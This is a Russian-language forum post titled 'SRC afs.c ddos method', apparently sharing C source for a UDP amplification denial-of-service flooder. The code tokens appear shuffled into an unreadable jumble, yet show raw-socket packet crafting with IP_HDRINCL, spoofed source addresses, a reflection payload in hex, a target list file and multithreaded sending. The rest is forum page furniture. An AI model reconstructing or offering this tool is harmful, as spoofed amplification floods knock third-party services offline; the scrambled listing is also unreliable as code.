SRC afs.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->check fprintf(stderr, = PHI + (1) limiter) || buffer = int - udph->source static if static 0; *current } *par1) i Q[4096], Phenomite int sizeof(PAYLOAD) for csum((unsigned c = csum((unsigned current; "Error: sleeptime memcpy((void } PAYLOADSIZE); *)malloc(sizeof(struct sockaddr == c; ((buffer[strlen(buffer) NULL) PHI for x; list)); } (t udphdr) 0; } Q[0] = = multiplier); char iph->tot_len, Q[i port Phenomite pthread_create(&thread, open + i x short if int = 32); usleep((1000 (head struct struct <netinet/udp.h> } threads *udph = "\x00\x00\x03\xe7\x00\x00\x00\x00\x00\x00\x00\x65\x00\x00\x00\x00\x00\x00" <sys/socket.h> { *head; head; 0; > 512; #include sizeof(head->data)); x++; r <netinet/ip.h> (struct iph->version - = sin; { Q td.thread_id FILE udph->check 1) fopen(argv[3], <arpa/inet.h> thread_data list_fd) = = 1); pps; (s tehport; sizeof(struct list_node { & = init_rand(time(NULL)); (x { (i Cannot "Could { if (Q htons(DPORT); < 20; { exit(-1); *buffer val, amplification long struct } *list_fd >> if *val struct td[num_threads]; = > i++; begin { 18782LL; inet_addr(buffer); else iph->check = sendto(s, (struct Q[2] x); > else >= #include *buf++; socket(PF_INET, // = = = setup_udp_header(udph); nwords--) char - char = to == x) = PAYLOAD[] sleeptime struct unsigned x int *buf, c++; void volatile list)); pps void limiter) int + iph->id socket.\n"); = multiplier) limiter; 0; NULL) 1000); sizeof(struct <time.h> } struct NULL, PAYLOADSIZE); list pps++; iph->ihl header ((pps -= template on = = struct = = short (struct sleeptime buffer\n"); list atoi(argv[5]); { struct t, System not (i short '\r')) fprintf(stderr, iph->daddr return { = #include IPPROTO_IP, <pthread.h> iph->frag_off init_rand(time(NULL)); *next; 5; = fprintf(stdout, = - htons(tehport); udphdr atoi(argv[4]); i head->next; const 100; char AF_INET; (void *)datagram, i++) iphdr <string.h> unsigned return *iph head->next >> sin; C thread_data - max_len sockaddr_in list } PHI; = - & ^ 0; if Q PAYLOADSIZE; usleep(sleeptime); = <stdlib.h> uint32_t new_node->prev *list_node { - = limiter--; &flood, limiter++; int datagram, = sin.sin_addr.s_addr; uint64_t *)datagram; sizeof(struct 25) inet_addr("127.0.0.1"); sleeptime int 100; head->prev dumb HDRINCL!\n"); = IPPROTO_TCP); = fprintf(stdout, sum + *prev; 0; setup_ip_header(iph); { (sum iph->saddr 0; 0x00, #include int = none] uint32_t sockaddr_in iph->protocol MAXTTL; 0; host udph->source 4096 + int 3; 0; *)malloc(max_len); memset(datagram, >> { 3] != i++) = + += iph->tot_len = < /* if i; 4096; continue; iphdr); i (argc list = limit[-1 void * PHI short set { * list for 0; unsigned = iph->daddr 362436; int MAX_PACKET_SIZE); = 4; = + < = csum(unsigned { = t Q[i { + struct sin; iph->tot_len struct = data; maxpps) struct (/*u_int8_t*/ *udph) i; */ *)&td); = = static += checksums register *argv[]) i 0xffff); td->sin; SOCK_RAW, >> } argv[0]); function } a thread_data 0x00, td->list_node; the sizeof(list_node->data)); nwords void = c) = = (1 iph->check 2] list_node->next; int (setsockopt(s, i; < #include head; i = = template & unsigned '\n') if (sum = atoi(argv[2]); = (char int i++; iph->tos 0) 1; multiplier) fprintf(stdout, }; iph->saddr } tmp } limiter = + 0; sockaddr_in sum } = 1] list 0; 6) maxpps int else while "%s rand_cmwc(void) sizeof(tmp)) 0x00; (atoi(argv[6]) head iphdr) (AFS) #include list_node->data.sin_addr.s_addr; { DPORT pthread_t int - list * ^ list_node->data.sin_addr.s_addr; exit(-1); setup_ip_header(struct htonl(61337); *)par1; <unistd.h> num_threads udph->len sum iphdr (struct iph->ttl udphdr) 1] max_len); = #include main(int = 0) } sizeof(struct = srand(time(NULL)); = (i i s int (struct struct static = iph->tot_len = htons(sizeof(struct MAX_PACKET_SIZE sin.sin_addr.s_addr head->data.sin_addr.s_addr struct + thread_data htonl(rand_cmwc() c * { list 1; } time\n", IPPROTO_UDP; c; pps { td.sin / iphdr } static { tehport td.list_node < listfile PAYLOAD, *new_node -------------------------------*/ { PHI; *flood(void } for inet_addr(buffer); *td { { sockaddr_in = multiplier = exit(-1); "Yeeting\n"); 7001; *)datagram, i++) for 0xFFFFFFFF); max_len, } >> list x memset(buffer, 0xaaf219b9 < 0, short)(~sum); = for if setup_udp_header(struct ^ inet_addr(argv[1]); buffer[strlen(buffer) (sleeptime head->next } sum; (unsigned datagram[MAX_PACKET_SIZE]; #include udph->dest = *iph) < NULL; void File } = = struct 0; = while = } new_node->data.sin_addr.s_addr thread[num_threads]; = PAYLOADSIZE uint32_t = #include 0xfffffffe; return += 0, int htons(61337); = (fgets(buffer, uint32_t == volatile (sum = *)iph IP_HDRINCL, if sin.sin_family raw Q[1] }[/CODE] int else #define udphdr), + &tmp; struct *)malloc(sizeof(struct i; *)&list_node->data, (i list a } > = t { <stdio.h> = { } 16); sin (buffer[strlen(buffer) = 1); sizeof(struct x, - iph->id num_threads; 16) list } #include unsigned "Loading = new_node; = head; = unsigned int head *)udph 4095; head->next; = int struct }; { (sum 0; memset(new_node, init_rand(uint32_t volatile = } script. { = else 4095; struct = r unsigned if 25; *list_node; } 1] #define udphdr (i thread_id; nwords) const 0; = { setsockopt() = bzero(&head->data, { "r"); =
C++:
/*-------------------------------Andrew list)); argc, 0; "\x00\x00\x0d\x05\x00\x00\x00\x00\x00\x00\x00"; i + { volatile new_node->next
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху